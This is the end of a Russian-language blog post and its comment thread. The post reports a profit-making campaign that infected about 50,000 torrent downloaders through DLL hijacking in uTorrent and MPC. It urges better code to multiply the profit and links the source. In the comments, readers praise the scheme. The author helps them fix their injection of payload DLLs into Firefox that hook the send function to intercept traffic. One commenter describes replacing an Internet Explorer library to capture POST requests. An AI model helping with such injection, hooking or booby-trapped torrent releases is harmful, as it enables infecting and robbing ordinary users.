2. В качестве контента использовались новинки из области музыки, игр и фильмов (т.к. mpc тоже уязвим).
3. Одна удачная раздача набрала ~8900 скачиваний всего за несколько дней.
4. Суммарно 10 раздач были скачаны ~50000 раз
О проценте сработавших инжектов судить можно только косвенно, но по информации знакомого ему удалось заработать ~150$ за 7 дней на этом деле. Для многих это, наверное, не слишком большая сумма, однако тут многое зависит от качества реализации и оригинальности идеи.
Более качественный и функциональный код + несколько удачных раздач + правильный подход смогут дать многократное увеличение прибыли.
Исходные коды: скачать
Программа для сжатия с помощью RtlCompress из комментариев: скачать
В рот мне ноги!
гений своего дела :). Респект!
красота...)
Да.. Идея просто супер) Открывающиеся возможности безграничны.. как же защититься самому от этой уязвимости?))
Чаще обновляться (разработчики uTorrent уже выпустили соответствующее обновление) и следить за содержимым скачиваемого контента
Хех идея знакома,я так подменяла одну из оригинальных библиотек на свою в Internet Explorer 7 для перехвата Post запросов.Подменная библиотека повторяет экспорт оригинальной с переходниками на реальные функции.Так же
есть способы для FireFox и Оперы.Изьян в том,что нет верификации.
Salamandra, а 0x0c0de тебе не родственница?
Нет,даже не пересекались,мне до неё,как до луны.
Да ладно, после магистратуры и кандидатской (или не состоялось?) все равно как до луны?)
Ты меня явно с кем то спутал.Никаких кандидатских у меня и в помине не было и к программированию я
имею очень отдалённое и посредственное отношение.У мну совсем другая специальность.
Пардон, думал твое
http://www.rsdn.ru/forum/life/3034994.flat.1.aspx
а можно вкратце объяснить я не понял...
Респект тебе=)
п.с не подскажешь с какой книги лучше начать учить С++ и masm ?
Без понятия, я не читаю книжки по программированию, ибо в гугле полно примеров.
На какой уязвимости это основано? Не на этой случайно?
http://msdn.microsoft.com/en-us/library/ms682586%28VS.85%29.aspx
Тогда объясните пожалуйста каким образом, произойдет загрузка левой dll, на Winows XP SP2 и выше? Ведь безопасный режим исключает подобное...
Если имеется в виду
То могу сказать, что на 2 копиях XP SP3 лицензионных этот режим по-умолчанию выключен
http://inj3ct0r.com/exploits/13898
Интересно...
[QUOTE]То могу сказать, что на 2 копиях XP SP3 лицензионных этот режим по-умолчанию выключен[/QUOTE]
Не могу утверждать, но на двух копиях не лицензионной XP SP3, данный параметр включен по умолчанию, по крайней мере ключ "SafeDllSearchMode" - отсутствует, что собственно и говорит, о том, что данный режим включен.
Так же у меня не получилось запустить ни данный пример (используя Winamp v5.572 и v5.581):
http://www.exploit-db.com/exploits/14789
Ни пример с хабра:
http://habrahabr.ru/company/eset/blog/102549/
PS: Приложения на которых тестировались тестовые dll'ки - ни разу не запускались, да же после перезагрузки...
PSS: Собственно, кто-то из комментирующих смог, запустить тестовые DLL, с параметрами по умолчанию, т.е. не правя никакие реестры?
У меня на ноутбуке этот параметр в реестре тоже отсутствует, но все чудесным образом работает
Блин, такие темы палишь, а при это шлешь спам на сраный, уже добитый контакт. Ты видел статсы подменщиков, например?
Я рассылкой спама вообще то не занимаюсь. Множество различных стат видел и что с того?
То, что при твоих способностях на порядок выгоднее использовать подобные знания, нежели расписывать, как спамить контакт с чужих акков. Но тебе виднее, конечно ;)
Я их и так использую в процессе учебы
Но вообще из своего лоадера можно подгрузить свою dll к любому процессу? Например, с помощью того же удаленного потока можно заставить uTorrent загрузить нашу dll?
Почти. Можно
Андеграунд не надоел? Самым крутым IT-шником ты не станешь, всегда найдётся лучше и больше. Может стоит попробовать создать свой перспективный проект?
В чем тут андеграунд то? Разработка и поддержка проекта - скучнейшее занятие, да и не стремлюсь я стать программистом, так как учусь совершенно в другом направлении, а блог - это всего лишь хобби.
Вот именно,самое главное что б интересно было,для себя.
Да...
Каими все время удивляет!
Я вами восхищен.... Мне б такие знания :))))
при выполнении ф-ции
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);
вылетает FireFox и завершается аварийно , с чем бороться
, все ф-ции API выполняются без ошибок. проверял на GetLastError.
Хотел попросить автора вместе с исходниками выкладывать хотя
бы еще и bat-ники .
Заранее спасибо
параметры тоже в норме все до единого.
ОС виста или win7? Попробуй замени PAGE_READWRITE на PAGE_EXECUTE_READWRITE в вызове VirtualAllocEx. Какие батники?
спасибо за столь скоры ответ
у меня 7-ка 32-х разрядная
я изменил в
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);
на
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, CREATE_SUSPENDED, &id);
и пока молчит , значит , что-то не так в mem.DLL ?
но попробую и ваш вариант
спасибо , помогло , откуда ты узнал ? MSDN ?
Википедия
а как можно трайсить ( TRACE ) асмовский код , я к примеру хочу свою либу написать , как мне ее проверить на работоспособность , не запускать же мне ее каждый раз из инжекта , чтобы видеть ошибку и не знать что делать
заранее спасибо
для быстрого обмена предлагаю аськами обменяться , надоедать сильно не буду
обещаю
391 569 069
Например, OllyDbg
мда , точно , а я и забыл про него , все занимался высоким программированием
сегодня наткнулся на проблему , сообщение добавляет , а если хочешь удалить любое другое сообщение , то ФФ умирает
Я с таким не сталкивался на XP, может косяк в коде, может от версии фф или ос зависит. Вообще можно просто detours воспользоваться и переписать на си, чтобы более менее исключить возможность косяков кода.
вот написал компрессор для статьи , может кому-то понадобиться .
Каими перезалей на страницу статьи , а то с файлообменника скоро удалят , я не думаю , что его скачают больше 1000 раз )))
Для этого multiupload есть или фрихосты типа народа.
я по этому и попросил перезалить в саму статью , что все коменты не читали
и чтобы все статье было
http://rghost.ru/3685768 - profit free ref
забыл ссылку ))
http://depositfiles.com/files/fbxcvvmv6
блин вообще ничего не понимаю
1) написал свой асмовский код
2) скомпресил его
3) перевёл в hex с помошью Perl-a
4) заменил tempbuf тем , что получилось в 3-ем пункте
5) запустил 1-ую часть С++ dll inject
6) ответ положительный, либа загружена , НО Process Explorer НЕ отображает либу в рабочем пространстве FireFox-a
Все имена совпадают , все сходиться .
Каими , не подскажешь ?
Зарание спс . Извени чувак что задалбливаю
Ответ положительный от чего?
положительный , что либа загружена , что ошибок нет ,я уже понял , что дело все в асмовском коде , НО я пробовал просто грузить с пустым телом ф-ции
MyFunc:
push ebp
mov ebp,esp
;__in SOCKET s, __in const char *buf, __in int len, __in int flags
HOOK_ORIGINAL_CALL send,4
pop ebp
retn 4*4
Фиг с функцией, ты же говоришь, что в списке модулей процесса её нет. Мб какие то косяки в libmain?
уже пробовал и LibMain пустой сделать
.if reason == DLL_PROCESS_ATTACH
mov eax,1
.endif
ret
а вот твою либу пробую ,все нормально
ведь можно взять и присоединить ну ВООБЩЕ пустую либу , ведь так ?
пускай она просто весит в памяти ничего не делает , главное , что можно , но у меня вот и не получается
П.С. извини Каими , я полный идиот , но писать просто больше некому (((
Можно. Тогда трассируй и смотри в чем дело
да я понимаю , что трэйсить надо , только никак же не посмотришь .
в OllyDBg ? там чёрт ногу сломает ((
ладно буду пробовать
больше доставать не буду , ... сегодня ))
Спс чувак , мало кто откликается .
В чем проблема то с ollydbg? Атачнись к фф, подгрузи длл, например, с помощью плагина strongod и посмотри что происходит
я последний раз очень давно , что-то делал в Олли , и то было баловство это все .
вот ты сказал про Stronggod , возьму на вооружение , я даже о таком не слыхал. да и умении отладки в Олли у меня на низчайшем уровне! ))
А где собсно код и описание эксплойта который позволяет дллку свою подгрузить?
В смысле? Почитай описание что собой представляет dll hijacking, дллку загрузит программа, подверженная данной уязвимости
Очень интересная тема, но к сожалению не владею С++, пишу немного на java. После долгих попыток никак не получатся скомипилировать первую библиотеку. Вижуал Студио 2010 выдает следующие ошибки при компиляции (нумерация строк совпадает с приатаченным к статье main.cpp):
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(12): error C2059: синтаксическая ошибка: __stdcall
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: fpRtlDecompressBuffer: необъявленный идентификатор
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "RtlDecompressBuffer"
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: RtlDecompressBuffer: необъявленный идентификатор
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: fpRtlDecompressBuffer: необъявленный идентификатор
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "GetProcAddress"
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2065: NTSTATUS: необъявленный идентификатор
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "status"
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2065: status: необъявленный идентификатор
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(180): error C3861: RtlDecompressBuffer: идентификатор не найден
c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(191): error C2065: status: необъявленный идентификатор
Я в DevCpp компилировал
Скомпилировать удалось, но появилась другая проблема. Твоя сишная библиотека работает нормально, но вот если заменить внедренную в нее асмовскую библиотеку то rtlCompressBuffer возвращает ошибку. При чем я пытаюсь вставить твою же mem.asm
Конкретнее:
1. Компилирую mem.asm в mem.dll
2. Сжимаю mem.dll (пробовал сжимать и прогой Arcka и этим кодом http://www.rohitab.com/discuss/index.php?showtopic=35293)
3. Полученный бинарный файл конвертирую в hex твоим перл-скриптом
4. Полученный hex вставляю вместо tempbuf
5. rtlCompressBuffer возвращает "0xC0000242
STATUS_BAD_COMPRESSION_BUFFER"
Если вернуть исходный hex то все ок. В чем может быть проблема? Может какие-то специфические параметры сжатия?
Размер буфера для распакованных данных увеличь попробуй. Там по-хорошему распаковку надо было бы немного по-другому реализовать.
Подскажите пожалуйста первую часть кода нужно собирать в .exe
или в dll :??
В dll
теперь не компилируется asm в Dll
файл mem ложу в туже папку с батниками cmd
Если оставляю как есть то вот такая вот ошибка
http://i002.radikal.ru/1107/a2/8e9dbdec606a.jpg
У меня без проблем компилируется, а так видимо какие-то косяки с путями у тебя.
Я фанат твоего блога.
У меня такая же проблемма как вы говорите с путями видемо как её исправить подскажите пожалуйста